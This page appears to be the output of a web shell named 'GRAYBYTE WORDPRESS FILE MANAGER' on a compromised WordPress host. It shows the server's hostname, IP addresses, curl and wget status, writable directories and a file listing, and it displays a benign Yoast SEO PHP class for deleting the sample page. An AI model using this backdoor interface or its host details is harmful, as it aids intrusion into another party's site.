✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.42
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/packages//delete-sample-page.php
<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Task_List\Application\Tasks;

use WP_Post;
use Yoast\WP\SEO\Task_List\Domain\Components\Call_To_Action_Entry;
use Yoast\WP\SEO\Task_List\Domain\Components\Copy_Set;
use Yoast\WP\SEO\Task_List\Domain\Exceptions\Complete_Sample_Page_Task_Exception;
use Yoast\WP\SEO\Task_List\Domain\Tasks\Abstract_Task;
use Yoast\WP\SEO\Task_List\Domain\Tasks\Completeable_Task_Interface;

/**
 * Represents the task for deleting the sample page.
 */
class Delete_Sample_Page extends Abstract_Task implements Completeable_Task_Interface {

	/**
	 * Holds the id.
	 *
	 * @var string
	 */
	protected $id = 'delete-sample-page';

	/**
	 * Holds the priority.
	 *
	 * @var string
	 */
	protected $priority = 'medium';

	/**
	 * Holds the duration.
	 *
	 * @var int
	 */
	protected $duration = 1;

	/**
	 * Returns whether this task is completed.
	 *
	 * @return bool Whether this task is completed.
	 */
	public function get_is_completed(): bool {
		$page = $this->get_sample_page();

		if ( $page === null ) {
			return true;
		}

		return $page->post_date !== $page->post_modified;
	}

	/**
	 * Returns the task's link.
	 *
	 * @return string|null
	 */
	public function get_link(): ?string {
		return null;
	}

	/**
	 * Completes a task.
	 *
	 * @return void
	 *
	 * @throws Complete_Sample_Page_Task_Exception If the Sample Page could not be deleted.
	 */
	public function complete_task(): void {
		$page = $this->get_sample_page();

		if ( $page !== null ) {
			$result = \wp_delete_post( $page->ID );

			if ( ! $result ) {
				throw new Complete_Sample_Page_Task_Exception();
			}
		}
	}

	/**
	 * Returns the sample page if it exists and is published.
	 *
	 * @return WP_Post|null The sample page or null if not found.
	 */
	private function get_sample_page(): ?WP_Post {
		$pages = \get_posts(
			[
				'name'        => 'sample-page',
				'post_type'   => 'page',
				'post_status' => 'publish',
				'numberposts' => 1,
			],
		);

		if ( empty( $pages ) || $pages[0] instanceof WP_Post === false ) {
			return null;
		}

		return $pages[0];
	}

	/**
	 * Returns the task's call to action entry.
	 *
	 * @return Call_To_Action_Entry|null
	 */
	public function get_call_to_action(): ?Call_To_Action_Entry {
		return new Call_To_Action_Entry(
			\__( 'Delete for me', 'wordpress-seo' ),
			'delete',
			$this->get_link(),
		);
	}

	/**
	 * Returns the task's copy set.
	 *
	 * @return Copy_Set
	 */
	public function get_copy_set(): Copy_Set {
		return new Copy_Set(
			\__( 'Remove the "Sample Page"', 'wordpress-seo' ),
			'<p>' . \__( 'Leaving placeholder content makes your site look unfinished and untrustworthy. Removing it keeps your site clean and professional for visitors and search engines.', 'wordpress-seo' ) . '</p>',
		);
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Sep 2026 6.47 PM
docteuh / users
0777
application
--
9 Sep 2026 9.48 PM
docteuh / users
0755
assets
--
10 Sep 2026 12.26 AM
docteuh / users
0755
cache-runtime-store
--
9 Sep 2026 8.45 PM
docteuh / users
0755
cgi-bin
--
10 Sep 2026 12.16 PM
docteuh / users
0755
cloudflare
--
10 Sep 2026 10.05 PM
docteuh / users
0755
editors
--
30 Aug 2026 10.12 PM
docteuh / users
0755
includes
--
31 Aug 2026 10.32 AM
docteuh / users
0755
indexables-disabled
--
11 Sep 2026 4.49 PM
docteuh / users
0755
indexing
--
10 Sep 2026 5.36 PM
docteuh / users
0755
js
--
31 Aug 2026 12.04 PM
docteuh / users
0755
list-grid
--
10 Sep 2026 1.59 PM
docteuh / users
0755
plans
--
10 Sep 2026 5.57 PM
docteuh / users
0755
public
--
10 Sep 2026 12.42 PM
docteuh / users
0755
really-simple-ssl
--
10 Sep 2026 6.28 AM
docteuh / users
0755
src
--
9 Sep 2026 2.35 AM
docteuh / users
0755
Middleware-20260904002820.php
11.089 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
delete-sample-page.php
2.787 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103225-20260831111900-20260901204506-20260908190212.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103225-20260831111900-20260901204506.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829050506-20260830004210-20260830004247-20260830005923-20260830013342.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
single.php
4.714 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF